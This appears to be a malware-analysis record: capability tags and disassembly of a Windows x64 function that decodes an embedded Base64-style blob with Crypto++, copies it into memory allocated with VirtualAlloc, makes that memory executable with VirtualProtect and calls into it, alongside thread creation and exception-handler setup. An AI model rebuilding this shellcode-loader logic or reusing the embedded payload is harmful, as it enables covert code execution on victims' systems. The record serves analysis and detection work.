Function at 0x140003140
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hash data with md5
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1400b6188]
xor rax, rsp
mov qword [rbp + 0x68], rax
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x67452301
mov dword [rsp + 0x34], 0xefcdab89
mov dword [rsp + 0x38], 0x98badcfe
mov dword [rsp + 0x3c], 0x10325476
movdqu xmmword [rbp + 0x18], xmm0
xor r14d, r14d
mov qword [rbp + 0x28], r14
lea ecx, [r14 + 0x10]
call fcn.140020540
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rax
lea rdi, [rax + 0x10]
mov qword [rbp + 0x28], rdi
lea r8d, [r14 + 0x10]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140022210
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x30], r14
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r14b
lea rdx, str.gJRVMN6FVovn3wptfA_2Np8YQ1JQMvKgSnHKYJj49L6ADVYQ4zSIyds5Cqu3IeUVTTHLOrn75PqdAAv_VehHaJCghr5WwxVQ8_aMcYOueK6PNCqctqqVyYw6PYcZim3O4ubTlsX5kAgByniUQ2ILTivInJGxBcja9iO5oQ1j0WZsvChJO0ouGvEnXOoBagoCQ8GR0xYXRCWhNEvuJ3J4GREdsTaIboW5X0ixSGk8x2KWROtVsbNi_0oeVydNYehM3lAovBPU9M4MiKsp4MJ4OoNmsZZnos5ezsQ1NUCaFBgDteAbFL_zb2j7z75wzZXz3d6NbMiBIYp2ouhPkqXgxozYPXEZoAx9pNvOW_TjHn3MxkvuhzQHvwRjsaZUVEFwDJ0DAlia0TvmyB28wlhVLWMIH_izIcwnhV73rUE5c9xdooR0QgbTIKlrAYfZ9RK3wqLjCSwANega5240uk3gnwBkkMIK3BoH5KMTXS60_yiOQp_CijarYsLWsZ095I29c72XEq1Z831BsKVGHEA1AEAu_ye52DQiqV0IPK7YngRpC3yPRXlJCeAienITmAGgWChYRzltimtehJAKNqpcR3jKdPmujTOIeI7vMU7oFz27IAcNCWVhsIVcgbMbvpLdq09KP3G6d4ZhJkq3WTOqoskId7mX2CK1Y6YiGtegOg5MZs11ewTSwnh6GNacoKs0PFswQaRh1LEWadiqm7ku7Qo_v0whppYp_HOM0_FKBVeA_ralvgWvyXBY9Inu6UY_aR0jm63lq23DkqGB2d0rtlo6dmSUO91eBvBu91RIQYOgEYCzB5ChMWjQ_5BwokwNAtVao55RJCyMv6QGfi4lApKCWOF9Yj7nrmxkLyqCnIcHSVZyO1EiJ33_PgkZiCsAAkaoiVwiIwjy4b_wNU6W5FPOxzI55LaRJ8FeJtNyBufg9yqOaIXd5VF_ysj9MV3My12grsKLwcbEZ0BDIbs7PreSgjZqfUrXkGqSg90gQTbeYbUAPGlW1hMkMIt3DWcbFbpKEgZERKjeKFtjnmCv8GrL754rqXp2ua2_kCSBOdw1_FkMWD6BAlpU9moqy9_OncaK_sfb4adEgP7bbr04XuMNSvw4XpYtlI3LQKZKReIwcrZHj9_yOp4_3eCeY05ZWvMxJL3eabAKF9rB2RuejSPdAEygL6JMHvv35jhg67oR894xl0ZOvLRZWWBTZ9hbjCRS_h9MwGroOgbMQHOGkljiXmHWWugW2tYQBynp5oHm5qeUX6NiaH1zMO9FJNuiSb9b8BkuxwantrcwZ5NeLisf4jaYNoO68SrRF1QatDt3OjJSrpZjJA2ikqZTTNenhFLEecy3Lk5W7XND9UcaBUR2WaBKD_5EvkLBT3bHFo_PcH1EYaqrxrtYyqfIum5c0DtIbosRUcDNF46JvIqVt3f4RHSSGlegHtRBEipUyoKPYVlwc6meflEjShqEDizFjMOL3gd15lv9jmbecnRTbPCAF09qf9snVsP7qtJqsnDyRCICTAQztVtYDy9AiwZyaxm6lPSRq4jXZoaH6OAG0TjA7fykhlFcsRRoYrFL0pkasw1ZIThnI9BAwsMxWB8aDXMXheMl8d6EahrSrc0PYlR8OBBktOiqWjI6TsAWV8vSxCr5IpMCFlYFpLrrjLf2KVqdYWVngL5aqPZ5fDpBVhst1H4DvPENnPedM8th4Wavn5TFSKYX1Q0brWwmoaz80TWyuZDz4lA6ROoBcjfXOXS65ADpWR8tBmzxKSaSunkzn6yJJRr3beFrEhPf8jC0NUs02Y9WzhpOTNohqo_0WBQXIeYzLgVROvD1gqWj8TDdLj_k0STuuBubpPXDprNTOdFeoFcD7tV5xVSNUKX3pSmA0KdKxU1mJKWOJpOfDoyRIaXemDTmIE3qyiU37MB68Z6lvtb17T534CpASn4BlAqTW5wEo1Ek4J_gGbBTZmWZhDuqnibuRtVRl6vJk1oiiNJrtHw1Q3VS6zRWNGUEneq7c41KETMKJEF9rNubfFh3AQtTlZ3cCNV0HMh6bB07vEVhcnBu4ZkR7maNiGlxsufuPRSacEju9EHOnbpxJ9HI8G2uaM8rUNmbYPB_ckmtO025vhcUhMONpeXeYqtBFx8NTRFncVhavN21S6NMHTAGBB4TKE5vdoMRmKmPFNyM0tUrv53Zbtff5PlbhjVvWEWKPunHa_UzgZbQhFqoiGKSnU_q9BOb6cVGnX4WrlkAtvX_kLJsNkHLfHWhxP7lvFITLMCDBapu9aqUHtjuYEqlmaMns4Ag5SjYi45i0Vpy_Jg8ubZyt2VoPQZdyZYEYOD5eI1owseZ6J0c1k2lfcAezSh8DOiXc2AIk0j3IA2aBBgvpUl0Bk2Dg6WyqliT9uV7_sbA24tDRfo9i6QIECf1xXc8q7FDmXI8wNaY8epTtd3g_bn97maoR2A6UIdVrCL8XgZOtaBE8O8X9GlHAIy1x2r7Qvf4Dh0cOEhMtqz7jZZdyDz5OLS0hoD_kjEpz4pqX4fwygS6jnxzG3_I3_A8iQBV4_gVxZUsf3uNlnKCxnPry3mzdI2nYSQLdUjDmNDsso4Np9MJKEX4pJBGEQU0HxLKKGiq0nE26ekejI4oQ3D8lW997raCucWthJxjUhEA8Gq_5z_A4Vv23gkMFoe0L6_f1gDRlVpL8frUGtyQSAW4H8R9NfbuRyuPKa2qoFiXCRdD_pywryTFBCKQIm6OZG9kdAnblHqg5m6GIRBIpOk_RDbgutAL0Nia0AvcG2JJbgR255hmUt_h8HG6MtB1yZ_8ZjsojpJ2BxLEWzmOGMJO8WC_VCnpAnySlfSzWuif7vWN4UWPczvXxWqjCa8xwTfUmqWfAo4ebSBSFAP5cTFcyamQA_Ib5cBnc25jx8j8Jwg1_pRArm2f2N9vR5CROf1Lvq__O5vHYcaxu1M_9joCMR3CIOTrlaxIAt45uTy7rlzOGpuPxK1TYonEU_Y70Y_TQ060AKXnUOze9qkaq4YWVP3a2ZVk3vBRbaFQELa5sfHll5tdipURmgfCiLJLLpfqFJkgKdUjMkJxPIHCYhUp0_anSGwBBLh7T9aUk_PJPrrDXQqU9PfA2Cty_8AYXtAu5gnpmLPc1yWrl7TKqytXvDxaoT8QuX15fJKWntZT57dgpo41d8mNWfGC0mAL5nXyYrBC5ofKxx3cnpG24zagdARhGOIOKBCyDNrIjCMxVIcu7tLeCdcTD9aX67NF7zn9JtOWjc9zfah9g1INbD26v5FC8SH3kWOskgYV9pyTaCNq7sPLEnvLPhoCQgahVYIsBzxORO9YrDWUXstDG8Buwp1GMay7uBVPPZYRHpoXhTeWdRbSS2tF8BQ1lWfLId1C4o__T1UVX2x3SIHiNL5hwU3NoVtNPn13Z6gboEydNutw5BW92f06eAoNLGwL8uEolL9Y8nyZt3GlXzuAPeFYZiNodBmSReWdpPGsZlejKuYUeIQ52i4eow6kB32ddXOlWigb_G21dajooInFVMWHlEgAQ4jAGQcI2s4MGDZlXJq22SAEmFhd9WCaaWSKzLbqF_154en5mSykpTg3UJv2OxdczFbBo1F9np_aDAAtXFrJ3NySBUPJUbNvVdND_GyUtmzPMaZSinzPOIzAosek0q5XCLB6MCm60hhyrBVhLflNmdaNvik4_9Zn_FCISVSCxx692DK6co1x8FcOTa3K9LydY_UvZpYJ_nlHvtev0j3PRMuVrEycqalNIjSBs6BMSGTEROFedRzMxi7US6UCJyFTI4bvZ4qeWRzUEmx8Gi5wytgwFcKwZ4McNOY8murlF8iyCL11z0RV_dtw_OjeZBKSXxIf1T6tFAgLAQF0klxLTPH8ucT4Gueg0g5BRWf0E1Y11c2gVujxVtWMBEfCtA9Co29mfuaatuTxdywXNAWiBSYxG4uYBC7vlohgBu5ohfYyeev2vGMENcSOzAHfZiIZdg7OrO_EgxN1M0J6zwSBdzoWD8MrF_x_18Ik7IpwH0HqzJgKxfoaUS
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x1400031f0
lea rcx, [rbp + 0x30]
call fcn.140004d90
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x50], xmm1
mov qword [rbp + 0x60], r14
mov ecx, 0x68
call fcn.140020540
mov rbx, rax
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
lea ecx, [rax + 0x20]
call fcn.140020540
mov rdi, rax
mov qword [rsp + 0x30], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
xor edx, edx
mov rcx, rax
call fcn.14000adb0
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::vector_unsigned_char__class_std::allocator_unsigned_char___.0
mov qword [rdi], rax
lea rax, vtable.CryptoPP::StringSinkTemplate_class_std::vector_unsigned_char__class_std::allocator_unsigned_char___.1.0
mov qword [rdi + 8], rax
lea rax, [rbp + 0x50]
mov qword [rdi + 0x18], rax
call fcn.14001b3c0
mov rdx, rax
mov r9, rdi
mov r8d, 6
mov rcx, rbx
call fcn.1400027c0
lea rax, vtable.CryptoPP::Base64Decoder.1.0
mov qword [rbx], rax
lea rax, vtable.CryptoPP::Base64Decoder.0
mov qword [rbx + 8], rax
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.140003be0
nop
lea rax, vtable.CryptoPP::StringSource.0
mov qword [rbp - 0x70], rax
lea rax, vtable.CryptoPP::StringSource.1.0
mov qword [rbp - 0x68], rax
mov qword [rsp + 0x68], 0xffffffffffffffff
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
lea rax, [rbp + 0x30]
cmp qword [rbp + 0x48], 0x10
cmovae rax, qword [rbp + 0x30]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x48], 0
mov r9b, 1
lea r8, [rsp + 0x48]
lea rdx, str.InputBuffer
lea rcx, [rsp + 0x30]
call fcn.1400051b0
nop
mov rdx, rax
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x40]
mov dl, 1
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x190]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140003355
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
lea rax, vtable.CryptoPP::NameValuePairs.0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rcx
cmovb rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x78]
test rdx, rdx
je 0x14000338b
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call fcn.140010c40
nop
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov qword [rbp - 0x70], rax
lea rax, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov qword [rbp - 0x68], rax
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x1400033b4
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x18]
lea rcx, [rbp]
call fcn.140002d40
nop
mov rbx, qword [rbp]
lea rdx, [rbx + 0x10]
cmp rbx, rdx
je 0x1400033fa
mov rdi, qword [rbp + 8]
sub rdi, rdx
mov r8, rdi
mov rcx, rbx
call fcn.140022210
lea rax, [rdi + rbx]
mov qword [rbp + 8], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x1400bb290], rax
lea rdx, [0x140002c90]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
call fcn.140008d50
call fcn.140008010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140008530
lea rdx, [0x140002c20]
lea rcx, [0x1400bb2a0]
call fcn.1400075c0
lea rdx, [0x140002c40]
lea rcx, [0x1400bb298]
call fcn.1400075c0
call fcn.140008080
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [0x140002cf0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rbp + 8]
mov rbx, qword [rbp]
sub rsi, rbx
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
mov qword [0x1400bb278], rax
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140022210
lea r9, [0x1400bb288]
mov r8d, 0x40
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x1400bb278]
call fcn.140008010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140008530
lea rdx, [0x140002c20]
lea rcx, [0x1400bb2a0]
call fcn.140007c70
call fcn.140008080
nop
mov rcx, qword [rbp]
test rcx, rcx
je 0x14000355a
mov rdx, qword [rbp + 0x10]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003549
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003652
call fcn.14002057c
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x50]
test rcx, rcx
je 0x1400035a0
mov rdx, qword [rbp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000358f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003658
call fcn.14002057c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r14
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x1400035db
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000365e
call fcn.14002057c
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rcx, qword [rbp + 0x18]
test rcx, rcx
je 0x140003621
mov rdx, qword [rbp + 0x28]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000361c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000364c
call fcn.14002057c
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rsp
call fcn.140020510
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14002d8bc
nop
call fcn.14002d8bc
nop
call fcn.14002d8bc
nop
call fcn.14002d8bc
int3